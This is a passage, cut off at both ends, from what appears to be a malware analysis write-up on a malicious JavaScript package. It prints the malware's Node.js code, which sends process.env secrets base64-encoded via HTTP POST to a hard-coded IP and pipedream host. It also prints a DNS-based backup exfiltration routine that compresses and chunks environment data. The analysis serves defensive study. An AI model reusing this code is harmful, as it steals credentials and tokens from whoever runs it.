<span class="hljs-attr">host</span>: <span class="hljs-string">'34.195.72.180'</span>, | |||
<span class="hljs-attr">path</span>: <span class="hljs-string">'/'</span>, | |||
<span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>, | |||
<span class="hljs-attr">headers</span>: { | |||
<span class="hljs-attr">host</span>: <span class="hljs-string">'411c316239cf14afaa1f37bbc5666207.m.pipedream.net'</span>, | |||
<span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \ | |||
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'</span> | |||
} | |||
}) | |||
.on(<span class="hljs-string">'error'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{}) | |||
req.write(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(process.env)).toString(<span class="hljs-string">'base64'</span>)) | |||
req.end() | |||
</code></pre> | |||
<p>You can see that the malware collects the environment variables via | |||
<code>process.env</code> and then makes an HTTP request to exfiltrate the data to an IP | |||
address.</p> | |||
<p>But this malware also uses a backup exfiltration technique:</p> | |||
<h3><code>dns.js</code></h3> | |||
<pre><code class="hljs language-js"><span class="hljs-keyword">var</span> { Resolver } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'dns'</span>) | |||
<span class="hljs-keyword">var</span> zlib = <span class="hljs-built_in">require</span>(<span class="hljs-string">'zlib'</span>) | |||
<span class="hljs-keyword">var</span> resolver = <span class="hljs-keyword">new</span> Resolver() | |||
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">splitString</span>(<span class="hljs-params">string, size</span>) </span>{ | |||
<span class="hljs-keyword">var</span> re = <span class="hljs-keyword">new</span> <span class="hljs-built_in">RegExp</span>(<span class="hljs-string">'.{1,'</span> + size + <span class="hljs-string">'}'</span>, <span class="hljs-string">'g'</span>) | |||
<span class="hljs-keyword">return</span> string.match(re) | |||
} | |||
resolver.setServers([<span class="hljs-string">'165.232.68.239'</span>]) | |||
<span class="hljs-keyword">var</span> d = process.env || {} | |||
<span class="hljs-keyword">var</span> data = redactedForBrevity() | |||
<span class="hljs-keyword">var</span> encData = zlib | |||
.brotliCompressSync(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(data))) | |||
.toString(<span class="hljs-string">'hex'</span>) | |||
<span class="hljs-keyword">var</span> ch = splitString(encData, <span class="hljs-number">60</span>) | |||
<span class="hljs-keyword">var</span> dt = <span class="hljs-built_in">Date</span>.now() | |||
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < ch.length; i++) { | |||